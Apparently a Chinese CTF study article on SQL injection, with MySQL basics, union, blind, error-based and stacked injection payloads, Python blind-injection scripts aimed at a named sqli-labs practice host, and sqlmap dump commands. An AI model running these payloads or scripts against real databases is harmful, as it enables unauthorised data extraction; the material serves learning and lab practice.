SQL

MySQL基础
MySQL基本操作

1.查询本地所有数据库: show databases;

2.使用数据库:use 数据库名;

3.查看当前使用的数据库名:select database();

4.查看当前使用的数据库的所有表:show tables;

5.查看数据库版本:select version();

6.查看使用当前数据库的用户:select user();

7.查看数据库存储路径:select @@datadir;

8.查看MySQL的安装路径:select @@basedir;

9.查看安装数据库的操作系统:select @@version_compile_os;

常用操作

1.查询 :select

Select 字段列表 from 表名 where 条件 ;

2.修改:update

Update 表名 set 字段=值 where 条件;

3.删除:delete

Delete from 表名 where 条件;

4.增加:create

Create [database|table] name ·······;

information_schema

1.information_schema , 是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库表,表栏的数据类型和访问权限等。

2.Web渗透过程中用途很大

3.SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。

4.TABLES表:提供了关于数据库中的表的信息。

5.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

SQL注入

原理

动态交互网站,实现交互利用用户输入拼接到SQL语句执行。用户输入内容没有经过完美处理,并且直接将用户构造的SQL语句带入执行,导致SQL注入漏洞。

$sql = 'select " + username + "from users limit 0,1';

常见类型
1.数字型注入
 and 1=1 回显正常and 1=2 返回异常,存在数字型注入可能
2.字符型注入
1 返回正常
1' 返回异常,存在字符型注入可能
[极客大挑战 2019]EasySQL
3.联合查询
union select
​
[极客大挑战 2019]LoveSQL
4.盲注
·布尔盲注 特点:以页面回显的内容的不同作为判定依据。
布尔盲注只会回显 True和 False两种情况。
利用下列函数,写脚本得到flag
length() 返回字符串的长度
left(a,b)     从左侧截取a的前b位
mid(a,b,c) 从位置b开始,截取a字符串的c位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符
​
​
less-5:
因为页面只返回yes或no,不返回数据库中的数据,所以我们这里肯定是不能使用union注入的
length(database())>=1,判断当前数据库长度是否>=1,正确输出1,错误输出0
substr(database(),1,1)='s',判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度
ord(substr(database(),1,1))=115,转ASCII码判断,正确输出1,错误输出0
substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e',判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0
substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e',判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0
substr((select C from A.B limit 0,1),1,1)='e',判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0
​
猜解第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
​
​
[CISCN2019 华北赛区 Day2 Web1]Hack World
````
# 布尔盲注
​
import requests
​
url = 'http://snert.com.cn:10004/Less-5/'
db_len = 1
db_name = ''
# 猜解数据库名的长度
# for i in range(30):
#     payload = f"?id=1' and length(database())={i}--+"
#     res = requests.get(url+payload)
#     if "You are in" in res.text:
#         db_len = i
#         break
# print(f"数据库名的长度: {db_len}")
# #
# # 猜解数据库名
# for i in range(db_len+1):
#     for j in range(1,128):
#         payload = f"?id=1' and ascii(mid(database(),{i},1))={j}--+"
#         r = requests.get(url+payload)
#         if "You are in" in r.text:
#             db_name += chr(j)
#             print(db_name)
#         else:
#             continue
# print(f"数据库名:{db_name}")
#
# 猜解数据库的表名
table_name = ''
​
for i in range(1,20):for j in range(1,128):payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),{i},1))={j}--+"r = requests.get(url+payload)if "You are in" in r.text:table_name += chr(j)print(table_name)else:continue
​
````
·时间盲注 特点:以回显的时间长短作为判断依据。
时间盲注 在页面没有任何正确或错误回显的情况下,用时间函数构造时间延后,由回显时间来获取数据,主要是利用sleep函数让sql语句的执行时间变长,常与if(1,2,3)函数连用如果1执行为ture则返回2,否则返回3.
​
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n)      将程序挂起一段时间 n单位为秒
​
​
爆破数据库
​
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
​
爆破表名
​
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
​
爆破内容
​
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
​
​
start_time = time.time()
re =requests.get(payload).text
end_time = time.time()
use_time =end_time-start_time
时间盲注脚本
import time
​
import requests
​
url='http://snert.com.cn:10004/Less-8/?id='
​
table = ""
for i in range(1,100):# time.sleep(1)left = 32right = 128mid = (left+right)//2while left<right:payload  = url+f"1' and if ( ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid} ,sleep(2),0)--+"# print(payload)start_time = time.time()re =requests.get(payload).textend_time = time.time()use_time =end_time-start_time
​if use_time >2:# print("ok")left = mid+1else:right=midmid = (left + right) // 2# print(mid)table+=chr(mid)print(table)
5.报错注入
判断注入
当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显
​
三种方法: extractvalue()  updatexml()  floor()
0x7e就是~用来区分数据
concat()函数1.功能:将多个字符串连接成一个字符串。2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
​
updatexml注入
首先了解下updatexml()函数,作用是改变文档中符合条件的节点的值
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
​
报错原因:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了
​
报错注入语句格式: 
?id=1 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x
​
floor()原理:
floor函数的作用就是返回小于等于括号内该值的最大整数。
利用 select count(*),floor(rand(0)*2) x from information_schema.character_sets group by x
导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
1.爆数据库:
?id=1 and extractvalue(null,concat(0x7e,(database()),0x7e))
?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x
2.爆数据库表:
?id=1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x
3.爆数据库字段:
?id=1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)) x from information_schema.schemata group by x
4.获取flag:
?id=1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
?id=1 and updatexml(1,concat(0x7e,mid((select flag from flag),4),0x7e),1)
?id=1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x
​
[极客大挑战 2019]HardSQL
6.堆叠注入
代码示例:
def login(username, password):query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"# 执行查询并验证用户登录信息...PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(hello)供之后调用
​
EXECUTE:执行命令
​
DEALLOCATE PREPARE:释放命令
​
SET:用于设置变量(@a)[强网杯 2019]随便注
[SUCTF 2019]EasySQL
常见绕过

SQL注入技巧与绕过方法-CSDN博客

SQLmap

借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。 (1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs (2)使用 --current-db 参数获取当前数据库,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?" --current-db (3)使用 --tables 参数枚举表名,示例命令如下 :

./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security' (4)使用 --columns 参数枚举字段名,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security" (5)使用 --dump 参数批量获取字段值,示例命令如下:

./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security" (6)使用 --dump-all 参数导出整个数据库。

GET: ./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all

POST: sqlmap -r 1.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/920699.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/920699.shtml
英文地址,请注明出处:http://en.pswp.cn/news/920699.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

魔方的使用

三阶魔方入门玩法教程 【简单实用11个公式】三阶魔方分步还原公式图解 【初级篇】三阶魔方入门教程 1、底棱归位&#xff08;底十字对中层&#xff09; 先顶黄白十字&#xff0c;旋转对齐中层后&#xff0c;R’2翻到底层 2、底角归位 上右-前-》右下 &#xff1a;URU’R’…

新手友好!剪映:开启你的视频剪辑之旅!(国际版)

一.软件介绍 剪映&#xff08;CapCut&#xff09;是一款由​​抖音旗下深圳市脸萌科技有限公司​​开发的全功能视频编辑软件&#xff0c;自2019年5月上线以来&#xff0c;因其简单易用且功能强大&#xff0c;受到了大量用户的喜爱。 1.功能和作用&#xff1a; 功能类别主要…

使用AI大模型Seed1.5-VL精准识别开车接打电话等交通违法行为

原文链接 本案例根据用户上传的电子警察或道路卡口抓拍的图片,使用豆包全新视觉深度思考模型Doubao-1.5-thinking-vision-pro,精准识别车牌号码、车牌颜色、车身颜色、车辆品牌等车辆信息,同时通过算法精确识别开车打电话、未系安全带等交通违法行为,具有极强的实用价值。…

骑行商城怎么开发

随着骑行运动普及与数字化消费升级&#xff0c;“骑行中控数据变现积分商城”模式成为新趋势。以下从核心步骤、关键要点、风险规避三方面&#xff0c;详解如何搭建该类型小程序。一、明确核心架构与需求定位在开发前需确定小程序的核心逻辑与目标用户&#xff0c;避免功能冗余…

揭秘表格推理的“思维革命”:RoT模型介绍

–– RoT: Enhancing Table Reasoning with Iterative Row-Wise Traversals今天&#xff0c;我想和大家探讨一个我们每天都会遇到&#xff0c;却可能从未深思过其背后奥秘的事物——表格。从公司的财务报表、医疗数据&#xff0c;到体育赛事统计&#xff0c;表格无处不在&#…

【C++】AVL树(详解)

文章目录 上文链接一、什么是 AVL 树二、AVL 树的实现1. 引入平衡因子2. 整体结构3. AVL 树中的插入操作(1) 插入节点(2) 更新平衡因子更新规则停止更新条件 4. 旋转(1) 旋转的目的(2) 右单旋(3) 左单旋(4) 左右双旋(5) 右左双旋 5. AVL 树的查找与删除6. AVL 树的平衡检测 三、…

shell编程-核心变量知识

文章目录shell简介如何学好shell初识shell什么是shell执行shell脚本常用的三种方式shell变量变量相关的配置文件变量的定义shell核心位置变量shell简介 为什么学习shell&#xff0c;shell的作用 面试题&#xff1a;给你一台主机你的操作流程是什么&#xff1f; 1.自动化安装操…

微电网调度(风、光、储能、电网交互)(MatlabPython代码实现)

赠读者&#xff1a;正在埋头科研的你&#xff0c;或许有时你会困惑于 “投入” 与 “回报” 的时差&#xff0c;会疲惫于 “未知” 与 “确定” 的博弈&#xff0c;但请记得&#xff1a;那些看似 “无用” 的试错&#xff0c;都是在为突破搭建阶梯&#xff1b;那些独自深耕的日…

CentOS 7 环境下安装 JDK 1.8 及解决 wget 命令缺失问题

个人名片 &#x1f393;作者简介&#xff1a;java领域优质创作者 &#x1f310;个人主页&#xff1a;码农阿豪 &#x1f4de;工作室&#xff1a;新空间代码工作室&#xff08;提供各种软件服务) &#x1f48c;个人邮箱&#xff1a;[2435024119qq.com] &#x1f4f1;个人微信&a…

psql介绍(PostgreSQL命令行工具)(pgAdmin内置、DBeaver、Azure Data Studio)数据库命令行工具

文章目录**1. psql 的核心功能**- **交互式操作**&#xff1a;通过命令行直接与 PostgreSQL 服务器交互&#xff0c;执行 SQL 查询和管理命令。- **元命令支持**&#xff1a;提供以 \ 开头的特殊命令&#xff08;如 \l、\d、\connect&#xff09;&#xff0c;用于管理数据库对象…

设计模式9-责任链模式

定义 Chain of Responsibility Pattern&#xff1a;使多个对象都有机会处理请求&#xff0c;从而避免了请求的发送者和接受者之间的耦合关系。将这些对象连成一条链&#xff0c; 并沿着这条链传递该请求&#xff0c;直到有对象处理它为止。 优势 解耦请求发送者与接收者&#…

使用JAVA制作minecraft红石和创造模式插件

这一次主要是红石和创造模式的新加入由于代码较长&#xff0c;所以呃这一段代码就直接劳烦各位呃插进之前的3.0版本里面!!!!!!!!!import org.lwjgl.*; import org.lwjgl.glfw.*; import org.lwjgl.opengl.*; import org.lwjgl.system.*;import java.nio.*; import java.util.*;…

Git 版本管理核心实践与问题解决手册

Git 的核心价值版本控制&#xff1a;完整记录所有修改历史&#xff0c;支持随时回退到任意历史版本团队协作&#xff1a;允许多开发者同时工作&#xff0c;有效避免代码冲突和覆盖问题高效分支&#xff1a;通过分支隔离功能开发与稳定主线&#xff0c;保持项目稳定性变更追溯&a…

hadoop安欣医院挂号看诊管理系统(代码+数据库+LW)

摘 要 随着信息技术的飞速发展&#xff0c;医疗服务行业正逐步向信息化、智能化转型。安欣医院挂号看诊管理系统正是基于这一背景开发的一款集挂号、看诊管理于一体的综合性系统。本系统采用Hadoop大数据处理技术&#xff0c;旨在提高医院挂号看诊的效率&#xff0c;优化医疗…

【PHP】数学/数字处理相关函数汇总,持续更新中~

目录 一、取整 二、向上取整 三、向下取整 四、四舍五入取整 五、四舍五入保留小数点 六、浮点数值 七、绝对值 八、生成随机数 九、数字格式化&#xff08;以千位分割&#xff09; 十、对除法结果取整 十一、返回除法的余数 十二、是否为数字或数字字符串 十三、…

防火墙技术(二):安全区域

安全区域和接口 默认情况下&#xff0c;报文在不同安全区域之间流动时受到控制&#xff0c;报文在同一个安全区域内流动时不受控制。但华为防火墙也支持对同一个安全区域内流动的报文控制&#xff0c;通过安全策略来实现防火墙通过接口来连接网络&#xff0c;将接口划分到安全区…

银河麒麟V10(Phytium,D2000/8 E8C, aarch64)开发Qt

搞了一台国产计算机&#xff0c;银河麒麟V10系统 首先查看系统构架 kylinkylin-pc:/data$ uname -m aarch64 是arm架构的&#xff0c;到 https://www.qt.io/download-qt-installer下载 qt-online-installer-linux-arm64-4.10.0.run

腾讯云 MCP 场景征集计划 | 你的方案,正在定义开发新范式

开发者的进阶正在从“写代码”走向“做场景”。MCP&#xff08;模型上下文协议&#xff09;让你以更低心智负担撬动云AI能力&#xff0c;把时间花在真正的业务价值上。腾讯云开发者MCP广场 正式启动「腾讯云 MCP 场景征集计划」&#xff0c;寻找最懂 MCP 的你&#xff1a;将真实…

21款m1 max升级到macOS 13——Ventura

macOS系统体验&#xff1a;之前入手的m1 max出厂版本的macOS系统是macOS Monterey&#xff0c;也就是macOS 12&#xff0c;用了一段时间后&#xff0c;其实也是很流畅的&#xff0c;无奈最近vscode上的某插件一直提醒我的macOS系统版本过低。索性升级了一下macOS系统了。macOS系…

PostgreSQL WAL机制深度解析与优化

PostgreSQL 的预写日志&#xff08;Write-Ahead Logging, WAL&#xff09; 是其事务持久化和数据完整性的核心机制&#xff0c;通过“先写日志&#xff0c;再写数据”的原则保障故障恢复能力。以下是深度解析&#xff1a;一、WAL 的核心目标 崩溃恢复&#xff08;Crash Recover…